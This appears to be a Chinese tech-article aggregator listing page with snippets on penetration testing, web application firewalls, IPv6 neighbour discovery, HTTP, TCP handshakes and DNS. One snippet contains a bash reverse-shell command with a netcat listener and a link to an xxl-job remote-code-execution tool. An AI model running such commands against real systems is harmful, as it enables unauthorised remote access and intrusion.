网站安全公司安全防护***测试讲述分类专栏：网站安全漏洞检测网站***测试网站漏洞修复文章标签：网站安全公司网站***测试漏洞修复网站漏洞检测网站安全测试版权天气变冷了,但对于***测试行业的热度高于天气的温度，说明全国互联网针对网站安全问题的重视性越来越高,对此我们专业的网站安全公司Sine安全对***测试的知识必知点详情的给大家讲解一下,对今后网站或APP的安全性提高有着特别大的作用,只有这样才能使网站
分类：
Web程序 时间：
2020-12-05 11:25:11
阅读次数：
19
bash -i >& /dev/tcp/ip/port 0>&1 服务器监听 nc -lvvp 9999 利用工具 https://github.com/mrknow001/xxl-job-rce bash反弹shell命令 https://www.cnblogs.com/supdon/p/1346 ...
当前，由于潜在的获利机会，Web应用程序已成为攻击者的首要目标。Web应用程序上的安全漏洞可能造成数百万美元的损失。引人注目的是，与DNS（域名系统）有关的中断和分布式拒绝服务（DDoS）对业务产生了负面影响。在广泛的对策中，Web应用程序防火墙是第一道防线。 Web应用程序防火墙的基本功能是建立加 ...
分类：
Web程序 时间：
2020-11-27 11:17:37
阅读次数：
11
一、该漏洞和router advertisement相关，先来学习一下相关协议； IPV4时代，如果想探测其他主机是否存活，要么用ARP(一般是局域内网)，要么用ICMP(一般是公网)。但是在IPV6时代改用了Neighbor Discovery Protocol（简称NDP），该协议定义了使用IC ...
一次完整的HTTP请求过程 当我们在web浏览器的地址栏中输入： www.baidu.com，然后回车，到底发生了什么 过程概览 1.对www.baidu.com这个网址进行DNS域名解析，得到对应的IP地址 2.根据这个IP，找到对应的服务器，发起TCP的三次握手 3.建立TCP连接后发起HTTP ...
分类：
Web程序 时间：
2020-11-24 12:45:48
阅读次数：
12
在日常分析和定位生产环境的问题时，经常会碰到各种各样的网络问题，查看应用监听端口上连接的数量、各种状态的连接数量分布成为常用的手段之一。但一些同学看不懂使用netstat过滤出来的各种状态是什么含义以及各种状态的连接数量分布可能存在什么问题。其实只要弄懂了TCP/IP建立连接（即三次握手）和关闭连接（即四次挥手），上面的问题迎刃而解。这也是为什么TCP三次握手四次挥手是面试中出现频率最高的问题之一
分类：
其他好文 时间：
2020-11-23 12:27:28
阅读次数：
6
1 post请求和get请求异同点 HTTP的底层是TCP/IP。所以GET和POST的底层也是TCP/IP，也就是说，GET/POST都是TCP链接。GET和POST能做的事情是一样一样的。你要给GET加上request body，给POST带上url参数，技术上是完全行的通的 GET和POST本 ...
分类：
编程语言 时间：
2020-11-23 12:06:17
阅读次数：
8
DNS是Domain Name System的简写，即域名系统，它作为可以将域名和IP地址相互映射的一个分布式数据库，能够使人更方便的访问互联网。简单地说，如果我们想访问岂安科技的官网，本来需要输入网站主机的IP地址，但是DNS可以将http://www.bigsec.com解析成对应的IP地址，我 ...
分类：
其他好文 时间：
2020-11-20 12:16:36
阅读次数：
13
网络通信 通过计算机网络可以使多台计算机实现连接，位于同一网络中的计算机在进行连接和通信时需要遵守一定的规则。 TCP/IP协议 传输控制协议/因特网互联协议。是internet最广泛、最基本的协议。定义了计算机如何连入因特网，以及数据如何在他们之间传输的协议。 网络通信协议分类 UDP：无连接协议 ...
分类：
其他好文 时间：
2020-11-20 11:29:49
阅读次数：
5
上一篇文章“一分钟了解负载均衡的一切”引起了不少同学的关注，评论中大家争论的比较多的一个技术点是接入层负载均衡技术，部分同学持这样的观点：1）nginx前端加入lvs和keepalived可以替代“DNS轮询”2）F5能搞定接入层高可用、扩展性、负载均衡，可以替代“DNS轮询”“DNS轮询”究竟是不是过时的技术，是不是可以被其他方案替代，接入层架构技术演进，是本文将要细致讨论的内容。一、问题域ng
分类：
其他好文 时间：
2020-11-19 12:01:31
阅读次数：
6
